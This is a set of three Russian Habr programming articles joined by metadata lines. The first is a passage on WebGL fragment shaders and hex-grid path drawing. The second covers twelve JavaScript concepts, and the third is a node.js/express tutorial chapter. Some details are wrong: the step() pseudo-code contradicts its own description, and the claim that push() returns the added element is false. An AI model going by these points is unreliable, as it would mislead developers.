Когда вы используете png-текстуры, и они близко к камере, видно, что у ближайшего элемента размыты края. Нет ощущения, что картинка четкая. Кажется, что png растянули в браузере. Беда в том, что в WebGL нет возможности использовать векторные текстуры в полном смысле этого слова. Поэтому я поплакал, а потом прочитал в интернете, что **GLSL** решает эту проблему.
GLSL — это C-подобный язык, на котором пишутся шейдеры. Всем страшно им пользоваться, потому что это же шейдеры, WebGL — ничего не понятно! Но я узнал, что на нем можно сделать четкие изображения, и обратился ко второму виду шейдеров.
Fragment shader
---------------
Этот шейдер делает то же самое, что вершинный. Но, если вершинный строит ломаную поверхность, производя вычисления для каждой вершины, то Fragment shader рассчитывает цвет для каждого пикселя поверхности.
Самая базовая функция `fragment shader – step(a,b)`. Она возвращает только 0 и 1:
* если a > b, то 0;
* если a < b, то 1.
Я сделал псевдореализацию в JS, чтобы было понятно, насколько проста эта функция.
```
function step(a, b) {
if (a < b) return 0
else return 1
}
```
Когда вы работаете в WebGL, обычно на любом объекте есть система координат. Если это квадратный объект, то система координат примитивная: точки (0,0), (0,1), (1,0), (1,1).
Для каждого пикселя исполняется Fragment Shader. Если Vertex Shader у меня исполнился 2600 раз на каждый фрейм, то Fragment Shader исполняется столько раз, сколько пикселей. Может и миллион раз за каждый фрейм, если поверхность 1000×1000 px. Звучит страшно, но просто потому, что мало кто знаком с ресурсами видеокарт в наше время.
Если использовать функцию step(a,b) с координатами этих пикселей, то можно исполнить функцию step с параметром 0,4 и передавать координату x каждого пикселя в каждую точку.
Получается, все, что меньше 0,4, будет 0, все, что больше — 1. В WebGL числа и цвета — это одно и то же. Каждый цвет это одно число. Белый — 1, черный — 0. В RGB их три, но все равно это 0,0,0 и 1,1,1.
Если исполнить эту функцию step посложнее, то получим белое слева. Эта функция исполнится для каждой точки на экране и посчитает, что это либо 0, либо 1. Это нормально, не стоит переживать по этому поводу.
Если перемножить эти два выражения, получится вертикальная белая полоса. Если то же самое сделать по другой оси, то можно нарисовать белый квадрат:
*Это должна бы быть кульминация — мы нарисовали белый квадрат!*
> С помощью комбинаций всего одной функции можно нарисовать все, что угодно.
Если вы помните, элементы паттерна были под углом. Если сделать наклонную поверхность, которая состоит только из черных и белых цветов, то она будет ребристая, а не сглаженная. Ребристость бросается в глаза — это некрасиво. Чтобы для глаза поверхность выглядела сглаженной, нужны не только черные и белые пиксели, но еще и серые полутона.
### Smoothstep
В шейдерах есть функция smoothstep. Она выполняет то же, что и step, но между 0 и 1 интерполирует, чтобы был градиент.
*Слева до, справа — после максимального сжатия.*
Если максимально сжимать эту функцию, то получается минимально градиентная линия. Это как раз то, что нужно для генерирования идеально гладкой линии под любым углом в Fragment shader.
Так я смог сделать белый квадрат со сглаженными краями. Если есть один белый квадрат, можно сделать 3 белых квадрата.
*Квадраты можно вращать, применять функции синуса и косинуса.*
Дальше мне пришлось использовать бумагу и листик, чтобы разбить свой паттерн.
*Cкриншот с продакшн.*
Там все связано с 23 разной степени кратности, поэтому было не сильно сложно рассчитать координаты всех этих точек. И потом можно получить такой паттерн.
Я нарисовал один фрагмент и повторил его много раз. Четко видно debug-режим, где паттерн повторяется. Все фрагменты выполнены с помощью параметрических функций `step` и `smoothstep`. Это значит, что сделав один паттерн для замощения плоскости, можно генерировать бесконечное количество этих паттернов. Если внутри фрагмента изменить толщину линии или размер шестиугольников, то мы получаем много других паттернов.
Я покрутил параметры и нашел еще бесконечное количество паттернов. Это как «Generative art» — непонятно, что сделано, но красиво.
### SDF
Дальше я узнал, что есть еще **signed distance fields — генерация изображений с картой расстояний**. SDF используется в картах или в компьютерных играх для рисования текстов и объектов, потому что он оптимален. В WebGL тяжело рисовать текст по-другому, особенно сглаженный и с обводкой.
Это математический формат, который тяжело использовать вне WebGL. Идея проста, но изящна и дает красивый эффект.
Если мы хотим нарисовать четкую звезду, то для нее нужно сохранить картинку справа — это сгенерированное изображение картинки. Есть уже существующий алгоритм, который превращает любую четкую картинку в размытую. После этого ее можно использовать для генерации четкого варианта, но при этом получаем не одну картинку, а много. Из четкой картинки одного размера можно сгенерировать такую же, но большего размера. Она будет с погрешностями, но подход интересен математически.
Например, если взять картинку размером 128×128 px, то из картинки в маленьком размере можно получить четкое изображение в несколько раз больше исходника. Это одна из причин, почему используют SDF — размытый шрифт часто весит меньше, чем в оптимизированном векторном формате.
Конечно, есть ограничение. Невозможно увеличить буквы до 1000 px, даже 100 px будет выглядеть некрасиво. Но как часто нужны шрифты такого размера?
Fragment shader, рисование прямоугольников, разворот — с помощью этих пертурбаций, у меня наконец получилось найти нужную поверхность.
Новые условия
-------------
Она была такая, как надо: извивалась, все элементы были четкие. Все было так, как я хотел, но оказалось, что это еще не все:
*— А еще пусть он двигается мышью и путь новый прокладывается. А соты подсвечиваются!*
Предполагалось, что когда пользователь двигает мышкой, то метафорично прокладывает свой тернистый путь по ломаной «паутинке», используя сервис.
Словами описать задачу не сложно, но как это реализовать? Первое, что я подумал — раз у меня есть гексагональная сетка, наверное, она уже изучена. Тут я наткнулся на интересную статью «[Hexagonal grid reference and implementation guide](https://www.redblobgames.com/grids/hexagons/)». В ней автор собрал материалы за 20 лет. Он без вопросов крутой, а статья божественна для тех, кто увлекается алгоритмами и математикой. В ней много интересных данных про гексагональные сетки.
Статья длинная, но там приведены интересные математические подходы: как построить систему координат на гексагональной сетке, как пронумеровать эти шестиугольники, чтобы потом ссылаться на них, где это используется. Оказывается, это все время было перед глазами, потому что в старых компьютерных играх гексагональные сетки повсеместно используются.
*Если вы уже настроены на шестиугольный лад — посмотрите на замок. На других текстурах тоже угадывается гексагональная сетка.
В «Цивилизации» все вообще очевидно.*
Еще интересно было узнать, что если сделать сечение по диагонали трехмерного куба, который состоит из множества маленьких кубиков, то, с одной стороны, это кубики, а с другой — правильные шестигранники.
Сечение трехмерного куба дает двумерную гексагональную сетку. Было забавно узнать, что трёхмерные кубы как-то связаны с двумерными шестигранниками.
В статье, в том числе, был алгоритм по поиску пути по гексагональной сетке. Мне же нужно было искать путь к высоте через мышку.
Алгоритмы поиска пути бывают сложные и простые. Самый примитивный — это провести линию между точками и посмотреть, в какие шестиугольники попадает эта линия. Так получается путь, по которому в былые времена юниты шли из точки А в точку В.
*Мне было нужно что-то такое.*
Но это не то, что мне нужно. Здесь путь прокладывается по областям шестиугольников, а мне нужно по ребрам. Пришлось решать проблему по-другому.
### Canvas2D
Возможно, есть пути лучше, но мой интересней. Сначала я просто нарисовал **Canvas2D** для своего debug — шаг № 1.
До этого были WebGL, Three.js, шейдеры, а это — просто Canvas2D! Я нарисовал на нем все точки шестигранной сетки. Если присмотреться, это те же шестиугольники. Потом вспомнил про графы, которые хранят информацию о том, как точки соединены друг с другом, и соединил каждую точку с тремя соседними и получил граф — шаг № 2. Для этого использовал Open Source [Beautiful Graphs](https://github.com/anvaka/ngraph).
Граф — это просто набор точек и информация о том, как они соединены между собой. Они хорошо изучены, есть много хороших алгоритмов на любой вкус по поиску пути из точки А в точку В внутри графа. Все карты используют такого рода алгоритмы.
Это выглядит примерно так.
```
graph = createGraph( );
graph.addNode(..); // 1000 nodes
graph.addLink(..); // 3000 links
graph.pathFinder(Start, Finish); //0.01s
```
Мы строим граф, добавляем 1000 точек и все соединения между ними, Дальше передаем `id` каждой точки — первая соединена с третьей, третья с пятой. Не нужно ничего выдумывать, есть оптимизированный алгоритм с готовой функцией, которая позволит найти этот путь.
Этот алгоритм выполняется меньше, чем фрейм. Конечно, он занимает какой-то ресурс, но не нужно его выполнять каждые 16 мс, а только когда меняется путь.
Так я смог построить этот маршрут на шаге № 3. В Canvas2D это стало выглядеть так: кратчайший путь из точки А в точку В — все, как в жизни. На первый взгляд кажется, что это не самый кратчайший путь, но оказывается, что кратчайших путей из точки А в точку В по гексагональной сетке очень много.
В WebGL все картинки — это числа. Там можно передавать текстуры в шейдере, например, я пытался передать png. Для браузера нет никакой разницы — передается png или Canvas2D. Для браузера Canvas2D — то же самое, что готовая картинка, bitmap. Поэтому я сначала нарисовал эту картинку в виде змейки. Это видно на картинке шага № 4.
Мой Canvas2D строил просто черные кружочки на белом фоне. Потом я передал этот Canvas2D как текстуру в то, что я сделал раньше — наложил текстуру черных кружочков на свою гексагональную сетку. Покрутил масштаб, чтобы все совпадало. У меня получилось, что я передаю свою текстуру из Canvas2D в 3D, накладываю ее, и эта информация у меня уже есть.
После этого, зная, что для WebGL и шейдеров все цвета — это числа, путем арифметических операций типа «отнять, умножить», можно получить закрашенный кратчайший путь.
Зная, какие вершины должны быть закрашены, и храня эту информацию в Canvas2D, который был скрыт от пользователя, я смог внутри шейдера путем максимально простых для видеокарты операций, сделать поверхность с траекторией. Я построил граф в Canvas2D в виртуальной памяти, потом передавал информацию о пути как текстуру в WebGL, и закрашивал нужные в моей анимации вершины.
*Слева направо: наложил текстуру, закрасил путь в свой цвет, добавил траекторию на поверхность.*
Не могу сказать, что получился супер-вау-эффект. Наверное, я делал и красивее, но при этом использовал столько всего в этой «несложной» анимации.
Ради чего я это делал?
----------------------
Часто слышал подобный вопрос: «Зачем столько всего использовано? Зачем все это?» Кроме денег, я получил благодарность от дизайнера: «Спасибо, клёво получилось!». Несмотря на мою иронию, это важно. Благодарность от дизайнера попадает в самое сердечко.
Это не все, что можно делать с помощью WebGL. Возможно, это одно из самых простых решений. Но на примере этой анимации вам может стать чуть понятнее, что можно использовать из WebGL. Вся работа заняла примерно 2 дня — дольше, чем читать эту статью.
Есть, конечно, много других моих анимаций. Возможно, вы некоторые видели.
Как только вы получаете операции над каждым пикселем, у вас появляются новые возможности. Зная математические функции, можно делать искажения, или цветок, который целиком построен без 3D за час — это полностью математический расчет цветов пикселей.
Я бы хотел, чтобы рассказ именно про эту анимацию сделал эти технологии для вас осязаемыми. Почему там нужны были шейдеры, что они дали, и как вы можете использовать их.
> До [FrontendConf](https://frontendconf.ru/moscow/2019/) осталось меньше месяца. Если вам понравилась статья по докладу Юрия, то скорее всего заинтересуют и выступления [о рисовании карт на Canvas](https://frontendconf.ru/moscow/2019/abstracts/5973), о подводных камнях [разработки на RxJS](https://frontendconf.ru/moscow/2019/abstracts/5951) или программировании на [JSX без React](https://frontendconf.ru/moscow/2019/abstracts/5477).
>
>
>
> [Бронируйте билеты](https://conf.ontico.ru/conference/join/fc2019-moscow.html) до повышения цен 30 сентября и подписывайтесь на [рассылку](http://eepurl.com/bb99tn). В нее собираем интересные доклады в программе, новости конференции, видео и статьи. | https://habr.com/ru/post/450832/ | null | ru | null |
# 12 концепций JavaScript, о которых нужно знать
JavaScript — это сложный язык. Если вы, на любом уровне, занимаетесь JavaScript-разработкой, это значит, что вам жизненно необходимо понимать базовые концепции этого языка. В материале, перевод которого мы сегодня публикуем, рассмотрены 12 важнейших концепций JavaScript. Конечно, JavaScript-разработчику нужно знать гораздо больше, но без того, о чём мы будем сегодня говорить, ему точно не обойтись.
[](https://habr.com/ru/company/ruvds/blog/441566/)
1. Переменные, хранящие значения и ссылки
-----------------------------------------
Понимание того, как именно в JavaScript назначаются значения переменных крайне важно для тех, кто хочет писать правильно работающий код. Непонимание этого механизма ведёт к написанию программ, в которых значения переменных могут непреднамеренно меняться.
JavaScript, если некая сущность имеет один из примитивных типов (в частности — это типы `Boolean`, `null`, `undefined`, `String` и `Number`), всегда работает со значением этой сущности. То есть, в соответствующую переменную записывается именно значение. Если же речь идёт об объекте (это, например, типы `Object`, `Array`, `Function`), то, при назначении его переменной, в неё записывается ссылка на него, адрес, по которому он расположен в памяти.
Рассмотрим пример. В следующем фрагменте кода в переменную `var1` записана строка. После этого в переменную `var2` записано значение переменной `var1`. Так как переменная `var1` имеет примитивный тип (`String`), то в `var2` будет записана копия строки, имеющейся в `var1`. Это позволяет рассматривать `var2` как переменную, полностью независимую от `var1`, хотя и хранящую то же значение, что и `var1`. Запись в `var2` нового значения на `var1` не влияет.
```
let var1 = 'My string';
let var2 = var1;
var2 = 'My new string';
console.log(var1);
// 'My string'
console.log(var2);
// 'My new string'
```
Теперь рассмотрим пример работы с объектами.
```
let var1 = { name: 'Jim' }
let var2 = var1;
var2.name = 'John';
console.log(var1);
// { name: 'John' }
console.log(var2);
// { name: 'John' }
```
Как видите, здесь мы работаем с переменной `var2`, а то, что с ней происходит, отражается и на переменной `var1` так как они хранят ссылку на один и тот же объект. Несложно представить себе к чему подобное может привести в реальном коде в том случае, если некто решит, что переменные, хранящие объекты, ведут себя так же, как переменные, хранящие значения примитивных типов. Особенно это неприятно, например, в случаях, когда создают функцию, которая рассчитана на работу с переданным ей объектным значением, и эта функция данное значение непреднамеренно изменяет.
2. Замыкания
------------
Замыкание — это важный паттерн проектирования в JavaScript, который позволяет организовать защищённую работу с переменными. В следующем примере функция `createGreeter()` возвращает анонимную функцию, у которой есть доступ к предоставленному исходной функции аргументу `greeting`, содержащему строку `Hello`. Ссылка на эту анонимную функцию записывается в переменную `sayHello`. После этого, сколько раз бы мы ни вызывали функцию `sayHello()`, у неё всегда будет доступ к значению `greeting`. При этом доступ к `greeting` будет только у анонимной функции, ссылка на которую записана в `sayHello`.
```
function createGreeter(greeting) {
return function(name) {
console.log(greeting + ', ' + name);
}
}
const sayHello = createGreeter('Hello');
sayHello('Joe');
// Hello, Joe
```
Это был очень простой пример. Если же рассмотреть нечто, более близкое к реальному миру, то можно представить себе, например, функцию для подключения к некоему API (назовём её `apiConnect()`), которой, при первом её вызове, передаётся ключ доступа к API. Эта функция, в свою очередь, возвращает объект, содержащий несколько методов, которые пользуются переданным `apiConnect()` ключом доступа к API. При этом ключ хранится в замыкании и при вызове этих методов упоминать его больше не требуется.
```
function apiConnect(apiKey) {
function get(route) {
return fetch(`${route}?key=${apiKey}`);
}
function post(route, params) {
return fetch(route, {
method: 'POST',
body: JSON.stringify(params),
headers: {
'Authorization': `Bearer ${apiKey}`
}
})
}
return { get, post }
}
const api = apiConnect('my-secret-key');
// Использовать ключ доступа к API больше уже не нужно
api.get('http://www.example.com/get-endpoint');
api.post('http://www.example.com/post-endpoint', { name: 'Joe' });
```
3. Деструктурирующее присваивание
---------------------------------
Если вы до сих пор не пользовались деструктурирующим присваиванием в JavaScript, то это пора исправить. Деструктурирующее присваивание представляет собой распространённый способ извлечения свойств объектов с использованием аккуратной синтаксической конструкции языка.
```
const obj = {
name: 'Joe',
food: 'cake'
}
const { name, food } = obj;
console.log(name, food);
// 'Joe' 'cake'
```
Если извлечённым свойствам нужно присвоить имена, отличающиеся от тех, которые они имеют в объекте, можно поступить так:
```
const obj = {
name: 'Joe',
food: 'cake'
}
const { name: myName, food: myFood } = obj;
console.log(myName, myFood);
// 'Joe' 'cake'
```
В следующем примере деструктурирование используется для аккуратной передачи значений, хранящихся в свойствах объекта `person`, функции `introduce()`. Это — пример того, как данная конструкция используется при объявлении функции для извлечения данных из переданного ей объекта с параметрами. Кстати, если вы знакомы с React, то вы, вероятно, уже такое видели.
```
const person = {
name: 'Eddie',
age: 24
}
function introduce({ name, age }) {
console.log(`I'm ${name} and I'm ${age} years old!`);
}
console.log(introduce(person));
// "I'm Eddie and I'm 24 years old!"
```
4. Оператор spread
------------------
Оператор spread — это довольно простая конструкция, которая может показаться неподготовленному человеку непонятной. В следующем примере есть числовой массив, максимальное значение, хранящееся в котором, нам нужно найти. Мы хотим использовать для этого метод `Math.max()`, но он с массивами работать не умеет. Он, в качестве аргументов, принимает самостоятельные числовые значения. Для того чтобы извлечь из массива его элементы мы используем оператор spread, который выглядит как три точки.
```
const arr = [4, 6, -1, 3, 10, 4];
const max = Math.max(...arr);
console.log(max);
// 10
```
5. Оператор rest
----------------
Оператор rest позволяет преобразовывать любое количество аргументов, переданных функции, в массив.
```
function myFunc(...args) {
console.log(args[0] + args[1]);
}
myFunc(1, 2, 3, 4);
// 3
```
6. Методы массивов
------------------
Методы массивов часто дают разработчику удобные инструменты, позволяющие красиво решать самые разные задачи по преобразованию данных. Я иногда отвечаю на вопросы на StackOverflow. Среди них часто попадаются такие, которые посвящены чему-то вроде тех или иным способов работы с массивами объектов. Именно в таких ситуациях методы массивов особенно полезны.
Здесь мы рассмотрим несколько таких методов, объединённых по принципу их схожести друг с другом. Надо отметить, что тут я расскажу далеко не обо всех методах массивов. Найти их полный список можно на [MDN](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array) (кстати, это — мой любимый справочник по JavaScript).
### ▍Методы map(), filter() и reduce()
Методы массивов `map()`, `filter()` и `reduce()` позволяют трансформировать массивы или сводить массивы к одному значению (которое может быть объектом).
Метод `map()` возвращает новый массив, содержащий трансформированные значения обрабатываемого массива. То, как именно они будут трансформированы, задаётся в передаваемой этому методу функции.
```
const arr = [1, 2, 3, 4, 5, 6];
const mapped = arr.map(el => el + 20);
console.log(mapped);
// [21, 22, 23, 24, 25, 26]
```
Метод `filter()` возвращает массив элементов, проверяя значения которых функция, переданная этому методу, возвратила `true`.
```
const arr = [1, 2, 3, 4, 5, 6];
const filtered = arr.filter(el => el === 2 || el === 4);
console.log(filtered);
// [2, 4]
```
Метод `reduce()` возвращает некое значение, представляющее собой результат обработки всех элементов массива.
```
const arr = [1, 2, 3, 4, 5, 6];
const reduced = arr.reduce((total, current) => total + current);
console.log(reduced);
// 21
```
### ▍Методы find(), findIndex() и indexOf()
Методы массивов `find()`, `findIndex()` и `indexOf()` легко перепутать друг с другом. Ниже даны пояснения, помогающие понять их особенности.
Метод `find()` возвращает первый элемент массива, соответствующий заданному критерию. Этот метод, найдя первый подходящий элемент, не продолжает поиск по массиву.
```
const arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
const found = arr.find(el => el > 5);
console.log(found);
// 6
```
Обратите внимание на то, что в нашем примере заданному критерию соответствуют все элементы массива, следующие за тем, который содержит число 5, но возвращается лишь первый подходящий элемент. Этот метод весьма полезен в ситуациях, в которых, пользуясь для перебора и анализа массивов циклами `for`, такие циклы, при обнаружении в массиве нужного элемента, прерывают, используя инструкцию `break`.
Метод `findIndex()` очень похож на `find()`, но он, вместо того, чтобы возвращать первый подходящий элемент массива, возвращает индекс такого элемента. Для того чтобы лучше понять этот метод — взгляните на следующий пример, в котором используется массив строковых значений.
```
const arr = ['Nick', 'Frank', 'Joe', 'Frank'];
const foundIndex = arr.findIndex(el => el === 'Frank');
console.log(foundIndex);
// 1
```
Метод `indexOf()` очень похож на метод `findIndex()`, но он принимает в качестве аргумента не функцию, а обычное значение. Использовать его можно в том случае, если при поиске нужного элемента массива не нужна сложная логика.
```
const arr = ['Nick', 'Frank', 'Joe', 'Frank'];
const foundIndex = arr.indexOf('Frank');
console.log(foundIndex);
// 1
```
### ▍Методы push(), pop(), shift() и unshift()
Методы `push()`, `pop()`, `shift()` и `unshift()` применяются для добавления в массивы новых элементов и для извлечения из массивов уже имеющихся в них элементов. При этом работа производится с элементами, находящимися в начале или в конце массива.
Метод `push()` позволяет добавлять элементы в конец массива. Он модифицирует массив, и, после завершения работы, возвращает элемент, добавленный в массив.
```
let arr = [1, 2, 3, 4];
const pushed = arr.push(5);
console.log(arr);
// [1, 2, 3, 4, 5]
console.log(pushed);
// 5
```
Метод `pop()` удаляет из массива последний элемент. Он модифицирует массив и возвращает удалённый из него элемент.
```
let arr = [1, 2, 3, 4];
const popped = arr.pop();
console.log(arr);
// [1, 2, 3]
console.log(popped);
// 4
```
Метод `shift()` удаляет из массива первый элемент и возвращает его. Он тоже модифицирует массив, для которого его вызывают.
```
let arr = [1, 2, 3, 4];
const shifted = arr.shift();
console.log(arr);
// [2, 3, 4]
console.log(shifted);
// 1
```
Метод `unshift()` добавляет один или большее количество элементов в начало массива. Он, опять же, модифицирует массив. При этом, в отличие от трёх других рассмотренных здесь методов, он возвращает новую длину массива.
```
let arr = [1, 2, 3, 4];
const unshifted = arr.unshift(5, 6, 7);
console.log(arr);
// [5, 6, 7, 1, 2, 3, 4]
console.log(unshifted);
// 7
```
### ▍Методы slice() и splice()
Эти методы используются для модификации массива или для возврата некоей части массива.
Метод `splice()` меняет содержимое массива, удаляя существующие элементы или заменяя их на другие элементы. Он умеет и добавлять в массив новые элементы. Этот метод модифицирует массив.
Следующий пример, если описать его обычным языком, выглядит так: нужно, в позиции массива `1`, удалить `0` элементов и добавить элемент, содержащий `b`.
```
let arr = ['a', 'c', 'd', 'e'];
arr.splice(1, 0, 'b')
```
Метод `slice()` возвращает неглубокую копию массива, содержащую его элементы, начиная с заданной начальной позиции и заканчивая позицией, предшествующей заданной конечной позиции. Если при его вызове задана только начальная позиция, то он вернёт весь массив, начиная с этой позиции. Этот метод не модифицирует массив. Он лишь возвращает описанную при его вызове часть этого массива.
```
let arr = ['a', 'b', 'c', 'd', 'e'];
const sliced = arr.slice(2, 4);
console.log(sliced);
// ['c', 'd']
console.log(arr);
// ['a', 'b', 'c', 'd', 'e']
```
### ▍Метод sort()
Метод `sort()` выполняет сортировку массива в соответствии с условием, заданным переданной ему функцией. Эта функция принимает два элемента массива (например, они могут быть представлены в виде параметров `a` и `b`), и, сравнивая их, возвращает, в том случае, если элементы менять местами не надо, 0, если `a` нужно поставить по меньшему индексу, чем `b` — отрицательное число, а если `b` нужно поставить по меньшему индексу, чем `a` — положительное число.
```
let arr = [1, 7, 3, -1, 5, 7, 2];
const sorter = (firstEl, secondEl) => firstEl - secondEl;
arr.sort(sorter);
console.log(arr);
// [-1, 1, 2, 3, 5, 7, 7]
```
Если вы не можете, впервые ознакомившись с этими методами, их запомнить — ничего страшного. Самое главное это то, что вы теперь знаете о том, что умеют стандартные методы массивов. Поэтому, если вы и не можете сходу вспомнить особенности того или иного метода, то, что вы о нём знаете, позволит вам быстро найти то, что нужно, в документации.
7. Генераторы
-------------
Генераторы в JavaScript объявляют, используя символ звёздочки. Они позволяют задавать то, какое значение будет возвращено при очередном вызове метода `next()`. Генераторы могут быть рассчитаны на возврат ограниченного количества значений. Если подобный генератор возвратил все такие значения, то очередной вызов `next()` вернёт `undefined`. Можно создавать и генераторы, рассчитанные на возврат неограниченного количества значений с использованием циклов.
Вот генератор, рассчитанный на возврат ограниченного числа значений:
```
function* greeter() {
yield 'Hi';
yield 'How are you?';
yield 'Bye';
}
const greet = greeter();
console.log(greet.next().value);
// 'Hi'
console.log(greet.next().value);
// 'How are you?'
console.log(greet.next().value);
// 'Bye'
console.log(greet.next().value);
// undefined
```
А вот генератор, рассчитанный на возврат бесконечного количества значений посредством цикла.
```
function* idCreator() {
let i = 0;
while (true)
yield i++;
}
const ids = idCreator();
console.log(ids.next().value);
// 0
console.log(ids.next().value);
// 1
console.log(ids.next().value);
// 2
// и так далее...
```
8. Операторы проверки равенства (==) и строгого равенства (===) значений
------------------------------------------------------------------------
Любому JS-разработчику чрезвычайно важно понимать разницу между операторами равенства (`==`) и строгого равенства (`===`). Дело в том, что оператор `==`, перед сравнением значений, выполняет преобразование их типов (что может приводить к странным, на первый взгляд, последствиям), а оператор `===` преобразование типов не производит.
```
console.log(0 == '0');
// true
console.log(0 === '0');
// false
```
9. Сравнение объектов
---------------------
Мне периодически приходится видеть, как новички в JS-программировании совершают одну и ту же ошибку. Они пытаются напрямую сравнивать объекты. Переменные, в которых «хранятся» объекты, содержат в себе ссылки на них, а не сами эти объекты.
Так, например, в следующем примере объекты выглядят одинаково, но при их прямом сравнении нам сообщают о том, что объекты это разные, так как каждая из переменных содержит ссылку на собственный объект и эти ссылки друг другу не равны.
```
const joe1 = { name: 'Joe' };
const joe2 = { name: 'Joe' };
console.log(joe1 === joe2);
// false
```
При этом в следующем примере оказывается, что `joe1` равно `joe2` так как обе переменные хранят ссылку на один и тот же объект.
```
const joe1 = { name: 'Joe' };
const joe2 = joe1;
console.log(joe1 === joe2);
// true
```
Один из методов настоящего сравнения объектов заключается в их предварительном преобразовании в формат JSON-строк. Правда, у такого подхода есть одна проблема, которая заключается в том, что в полученном строковом представлении объекта не гарантируется определённый порядок следования его свойств. Более надёжный способ сравнения объектов заключается в использовании специальной библиотеки, содержащей средства для глубокого сравнения объектов (например — это метод [isEqual()](https://lodash.com/docs/4.17.11#isEqual) библиотеки lodash).
Для того чтобы лучше разобраться с тонкостями сравнения объектов и осознать возможные последствия записи в разные переменные ссылок на одни и те же объекты, взгляните на первую концепцию JS, рассмотренную в этом материале.
10. Функции обратного вызова
----------------------------
Функции обратного вызова — это довольно простая концепция JavaScript, с которой у новичков иногда возникают сложности. Рассмотрим следующий пример. Здесь функция `console.log` (именно так — без скобок) передаётся функции `myFunc()` в качестве функции обратного вызова. Эта функция устанавливает таймер, по срабатыванию которого вызывается `console.log()` и переданная функции `myFunc()` строка выводится в консоль.
```
function myFunc(text, callback) {
setTimeout(function() {
callback(text);
}, 2000);
}
myFunc('Hello world!', console.log);
// 'Hello world!'
```
11. Промисы
-----------
После того, как вы освоите функции обратного вызова и начнёте всюду их использовать, вы очень скоро можете обнаружить себя в так называемом «аду коллбэков». Если вы и правда там оказались — взгляните на промисы. Асинхронный код можно обернуть в промис, и, после его успешного выполнения, сообщить системе об успешном разрешении промиса, вызвав соответствующий метод, а если что-то пойдёт не так — вызвать метод, указывающий на это и отклонить промис. Для того чтобы обработать результаты, возвращаемые промисом, воспользуйтесь методом `then()`, а для обработки ошибок — методом `catch()`.
```
const myPromise = new Promise(function(res, rej) {
setTimeout(function(){
if (Math.random() < 0.9) {
return res('Hooray!');
}
return rej('Oh no!');
}, 1000);
});
myPromise
.then(function(data) {
console.log('Success: ' + data);
})
.catch(function(err) {
console.log('Error: ' + err);
});
// Если Math.random() вернёт значение, меньшее, чем 0.9, в консоль попадёт следующее:
// "Success: Hooray!"
// Если Math.random() вернёт значение, большее, чем 0.9, или 0.9, в консоль попадёт следующее:
// "Error: On no!"
```
12. Конструкция async/await
---------------------------
После того, как вы поработаете с промисами, то вам, вполне возможно, захочется чего-то большего. Например — освоить конструкцию async/await. Она представляет собой «синтаксический сахар» для промисов. В следующем примере мы создаём, с помощью ключевого слова `async`, асинхронную функцию, и в ней, пользуясь ключевым словом `await`, организуем ожидание выполнения промиса `greeter`.
```
const greeter = new Promise((res, rej) => {
setTimeout(() => res('Hello world!'), 2000);
})
async function myFunc() {
const greeting = await greeter;
console.log(greeting);
}
myFunc();
// 'Hello world!'
```
Итоги
-----
Если то, о чём мы здесь говорили, было вам до этого незнакомо, то вы, скорее всего, хотя бы немного, но выросли над собой, прочитав эту статью. Если же вы не нашли тут ничего нового, тогда хочется надеяться, что этот материал дал вам возможность попрактиковаться и укрепить ваши знания JavaScript.
**Уважаемые читатели!** Какие ещё концепции JavaScript вы добавили бы в эту статью?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/441566/ | null | ru | null |
# Web разработка на node.js и express. Глава 2 — тестирование приложения
Не прошло и полгода как я наконец добрался до написания второй главы учебника. Первую главу я тоже немного переработал с учетом пожеланий хабражителей, так что можете снова ее просмотреть — [Web-разработка на node.js и express. Изучаем node.js на практике](http://habrahabr.ru/post/146983/)
Глава 2. Демонстрационное приложение и первые тесты
---------------------------------------------------
В этой главе мы приступим к разработке нашего приложения, которое мы будем использовать в качестве примера на протяжении всего учебника, и начнем с самого простого, а именно со статических страниц. Так же мы познакомимся с тестированием приложений на node.js и с инструментами, которые используются для этого.
### 2.1 Model-View-Controller (MVC)
Перед тем как приступать собственно к разработке приложения, полезно поговорить о том, что из себя представляет типичная архитектура web-приложения на наиболее высоком уровне абстракции. Самым популярным архитектурным паттерном на сегодняшний день является [model-view-controller](http://ru.wikipedia.org/wiki/Model-View-Controller) (MVC), общий смысл паттерна заключается в том, чтобы разделить бизнес логику приложения (её привязывают к моделям) и представление — view. Кроме того, модели реализуют интерфейс к базе данных. Контроллер играет роль посредника между моделью и представлением. В случае web-приложения — это выглядит так: браузер пользователя отправляет запрос на сервер, контроллер обрабатывает запрос, получает необходимые данные из модели и отправляет их во view. View получает данные из контроллера и превращает их в красивую HTML страничку, которую контроллер в итоге отправит пользователю.
### 2.2 Демонстрационное приложение
Пришло время приступить к разработке нашего демонстрационного приложения. В первой главе мы уже развернули тестовое приложение, но воспользовались при этом генератором express и не написали ни строчки кода. Теперь мы будем писать наше приложение сами и начнем с «Hello, World».
```
$ cd ~/projects/node-tutorial
$ mkdir node-demo-app
$ cd node-demo-app
```
#### 2.2.1 Пакеты npm
Что такое npm? Все просто, это node package manager (хотя авторы это [оспаривают](https://npmjs.org/doc/faq.html#If-npm-is-an-acronym-why-is-it-never-capitalized)). В общих чертах пакет npm — это директория содержащая программу и файл package.json, описывающий эту программу, в том числе в этом файле можно указать от каких других пакетов зависит наша программа, почитайте [описание package.json](https://npmjs.org/doc/json.html).
Для того чтобы воспользоваться всеми прелестями, которые нам может предоставить npm, мы создадим в корневой директории нашего проекта файлик:
```
$ touch package.json
```
package.json:
```
{
"name": "node-demo-app"
, "version": "0.0.1"
, "scripts": { "start": "node server.js" }
, "dependencies": { "express": "3.0.x" }
}
```
Теперь можно выполнить
```
$ npm install
```
В результате npm создаст директорию node\_modules в которую поместит все модули от которых зависит наш проект.
#### 2.2.2 Hello, World!
Основной файл назовем server.js:
```
$ touch server.js
```
server.js:
```
var express = require('express')
, app = express()
, port = process.env.PORT || 3000
app.get('/', function (req, res) {
res.send('Hello, World!')
})
app.listen(port, function () {
console.log('Listening on port ', port)
})
```
Сразу определимся с терминологией и разберем этот код. Нашим **приложением** будет объект `app`, вызов функции `app.get` **монтирует** **экшн** (action), роль которого в данном случае выполняет анонимная функция, к **пути** (route) '/'. Фактически это означает, что каждый раз при получении http запроса GET /, приложение выполнит указанный экшн. Переменная `port` в этом примере инициализируется переменной окружения `PORT` при её наличии, а если такой переменной нет, то принимает значение 3000. `app.listen` запускает http-сервер на указанном порте и начинает слушать входящие запросы.
Для того, чтобы полюбоваться результатом нашего труда, есть два способа:
```
$ node server.js
```
либо
```
$ npm start
```
